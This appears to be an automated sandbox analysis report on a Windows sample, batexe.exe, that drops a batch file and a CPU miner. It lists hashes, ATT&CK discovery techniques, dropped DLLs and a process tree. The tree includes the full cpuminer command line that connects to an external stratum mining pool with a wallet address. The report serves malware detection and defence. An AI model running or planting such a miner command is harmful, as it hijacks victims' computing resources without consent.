73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
288s
platform
windows10-2004_x64
resource
win10v2004-20240220-ja
resource tags

arch:x64arch:x86image:win10v2004-20240220-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21-02-2024 11:41

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4023562663-3911442808-1494947993-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4023562663-3911442808-1494947993-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4720	b2e.exe
3844	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3844	cpuminer-sse2.exe
3844	cpuminer-sse2.exe
3844	cpuminer-sse2.exe
3844	cpuminer-sse2.exe
3844	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3336-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3336 wrote to memory of 4720	3336	batexe.exe	89
PID 3336 wrote to memory of 4720	3336	batexe.exe	89
PID 3336 wrote to memory of 4720	3336	batexe.exe	89
PID 4720 wrote to memory of 5052	4720	b2e.exe	90
PID 4720 wrote to memory of 5052	4720	b2e.exe	90
PID 4720 wrote to memory of 5052	4720	b2e.exe	90
PID 5052 wrote to memory of 3844	5052	cmd.exe	93
PID 5052 wrote to memory of 3844	5052	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3336
- C:\Users\Admin\AppData\Local\Temp\6189.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6189.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6189.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\64C5.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5052
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6189.tmp\b2e.exe

Filesize
17.4MB

MD5
422f8002f81d0a60fe005ed49810dff9

SHA1
e52359c01ee24077ef817a10c05f14f82ba01af4

SHA256
76ca221500b8d32b6c30ff03ff8f7ebd2de41eaa1fbdeebadd13dad54f3b55c8

SHA512
3b404430ded51ca17500f2cda3584d9e77d5c0be272c45fb7ff24ad8250e1f4b3237dbfc41fe8621b10df641ea462e2ee3c9335aaadc89635bfd3cd974237b65

Download Submit
C:\Users\Admin\AppData\Local\Temp\6189.tmp\b2e.exe

Filesize
2.2MB

MD5
b6a558633dc13e01c86f714214bdd894

SHA1
95921cb72467d2a69885d7987fa6990ed3756e81

SHA256
85cd30b679653b5cc0ca0c6cb9e56e841122391168a2237121da79b28b9fd507

SHA512
d55e570830a21e8ffe9d7a769576afce67fa05396d4450818bfa45132e1f10e5bf8f10026e9fa621f0451f8908d7c9bff9590f64a85d5048af173f5e529aa7c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\6189.tmp\b2e.exe

Filesize
1022KB

MD5
3dd22562bfb09b96f101680bf774d289

SHA1
f449cdb885b1220fb7e8b64087cf065375eca994

SHA256
9751ebe9dfbbd5cd061e4d35f835411ab14d1d1d903d27e67a854de07895687b

SHA512
e37ff1c219a07e447317e6fc7ec5f2a5749f1e011250e1589f99deec0835825b9531146c058391df4d21f2ce324e3a50d76a090e919c330bb90daeac13e435fe

Download Submit
C:\Users\Admin\AppData\Local\Temp\64C5.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.5MB

MD5
7336c5f62febb255175b1e34eecd58cd

SHA1
458f5cf287f67b2c821ff1cfe40451e6b17a1764

SHA256
7723d524caed49bb2a1283fd29737ed1346a2c83a0437c8687d6edb9e4d25de8

SHA512
4909528a6bfaa836ca3b7bdd6914946bdf0b55ea80dfca9168aef088792bd1d51170849d964369bd4e3611f004899e13217f6a8a10d73cd4b80361101190bbe6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.8MB

MD5
ad1bb5143f322a3b0ebb38b0a99f9f6a

SHA1
8fd8ca3ac41d6abb868aa9c2ce07b12175c13465

SHA256
7f11bc090d242a8e81733a3f9f42223b2e5a18449d4459dff5745f7b5f40aeed

SHA512
6446910cce7c8dea40e1903fdc95417ef472b317f45f21747586e2c950191b9561712e8986eeab8baa066bae460fe6f9fa77457558fc3a5044a2590e0f3113a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.5MB

MD5
449e4941aaf69fcaaaffc1cab2d4fb3e

SHA1
8f888b4910babc4186a1c18f11ccddd95c214615

SHA256
bdde4017db478c470635d5c846ba60000eb83256abc4ce8c8a1df9d7f6148ead

SHA512
350f86f934d84a0e2b33a323e083cc9ff37c016b0f13d3c55d26fdd5ea91994bd563a585d67733a684ddbcb90287582798151b5bc3822ff23a2af40c6e478bf4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3336-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3844-46-0x0000000071090000-0x0000000071128000-memory.dmp

Filesize
608KB

Download
memory/3844-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3844-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3844-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3844-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3844-47-0x00000000010C0000-0x0000000002975000-memory.dmp

Filesize
24.7MB

Download
memory/3844-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3844-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3844-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3844-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3844-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3844-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3844-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3844-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3844-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3844-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4720-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4720-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download